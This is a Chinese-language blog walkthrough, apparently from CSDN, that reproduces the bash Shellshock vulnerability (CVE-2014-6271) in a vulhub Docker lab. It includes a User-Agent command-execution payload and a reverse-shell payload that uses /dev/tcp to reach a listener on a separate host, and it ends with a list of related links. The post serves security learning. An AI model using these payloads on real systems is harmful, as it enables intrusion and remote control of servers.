CVE-2014-6271-bash shellshock-破壳漏洞复现
破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务,如一些网络服务器部署,使用bash来处理某些请求,允许攻击者导致脆弱的bash版本执行任意命令。这可以让攻击者获得对计算机系统的未授权访问。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行
#漏洞成因:bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。
#漏洞范围:bash版本小于等于4.3
用docker搭建vulhub漏洞靶场,服务启动后,有两个页面http://192.168.217.134:8080/victim.cgi和http://192.168.217.134:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。
能正常访问,但是当我们访问safe.cgi和victim.cgi时,却发现报了500错误
这是什么情况呢?进入docker容器查看一下日志
查看error.log
可以看到错误原因都是permission denied,那就是权限不足的原因了,那我们就修改一下权限,让它能够被访问。
修改为755权限就可以了
成功正常访问,打开bp进行抓包
同时抓取两个数据包payload
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
将payload附在User-Agent中,并发送请求
可以看到成功执行了命令,以同样的数据在safe.cgi发送请求,发现其不受影响
既然在victim.cgi可以执行命令,那么应该就可以进行反弹shell了,kali开启端口监听,执行反弹shell命令
() { :;}; echo;/bin/bash -i >& /dev/tcp/192.168.217.139/4444 0>&1
成功反弹shell
#防御:将bash版本升级到最新版本
CVE-2014-6271-bash shellshock-破壳漏洞复现相关推荐
- CVE(2017-15715、2021-41773、2021-40438)漏洞复现
仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...
- Shellshock 破壳漏洞(CVE-2014-6271)
漏洞简介 GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义.远程攻击者可借助特制的环境变量利用该漏洞执行任意代码. 漏洞复现 将payload附在Us ...
- vulhub漏洞复现之bash(Shellshock CVE-2014-6271)
Shellshock 破壳漏洞 CVE-2014-6271 1.漏洞概述: GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此 ...
- Shellshock漏洞复现
Shellshock漏洞复现 bash说明 漏洞原理 漏洞复现 环境说明 漏洞条件 漏洞复现 bash说明 Bash是Unix shell的一种.1989年发布第一个正式版本,原先是计划用在GNU操作 ...
- Linux Bash漏洞复现
Bash是什么? Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系 ...
- bash(CVE-2014-6271) shellshock-破壳漏洞复现
漏洞简介 破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露.许多面向互联网的服务,如一些网络服 ...
- vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞
漏洞简介 破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露.许多面向互联网的服务,如一些网络服 ...
- 【web攻防】破壳漏洞【CVE-2014-6271】与心脏滴血漏洞 【CVE-2014-0160】 docker 复现 学习过程
其实最近的确是想更新一些文章的,但一直在忙于挖洞和挖洞技巧学习,前者肯定不能发真实案例,后者学的太零碎太杂,自己也处于一个积累的过程,发一些边边角角的内容也没意思. 虽然相比以前的确有了一点进步,但我 ...
- 修复linux bash破壳漏洞,Linux系统下如何检测并修复bash中的破壳漏洞
问题:我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏洞侵袭. 2014年9月24日,一位名叫斯特凡·沙泽拉的安全研究者发现了一个名为"破 ...
- 修复linux bash破壳漏洞,Linux下bash破壳漏洞检测及修复的方法
如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏 ...
最新文章
- sonar的次要问题_次要GC,主要GC与完整GC
- 图解Windows下开发Objective-C程序之一 - 搭建Objective-C开发环境
- ping tracert 联系区别
- HDU-4456 Crowd 二维树状数组+坐标转换
- leetcode - Single Number
- c语言solaris中图形库,成功弄出simics下的CDE登录界面,与大家分享
- javascript经典实例_一道前端经常忽视的JavaScript面试题
- 继承AppCompatActivity的Activity无法隐藏标题栏
- 链表在STM32中的应用
- 怎么把文件导入云服务器,怎么把文件放到云服务器里
- 01 | 研发工程师想提升面试竞争力,该具备这三个技术认知
- ROS学习笔记十一:ROS中数据的记录与重放
- 拼音模糊搜索 php,基于 XunSearch(迅搜)SDK 的全文搜索 Laravel 5.* 软件包,支持全拼、拼音简写、模糊搜索、热门搜索、搜索提示...
- 朴素贝叶斯解决凉鞋问题
- Android系统开机时间优化
- html未响应是什么原因,ie浏览器未响应如何解决
- 网络学习:路由器 如何实现不同网络互连(ip协议) 和 和内网访问外网( nat转化协议)
- 折半查找平均长度公式推导
- 计算机硬盘加密的原理,一种计算机硬盘加密方法及装置
- SpringBoot服务监控之Actuate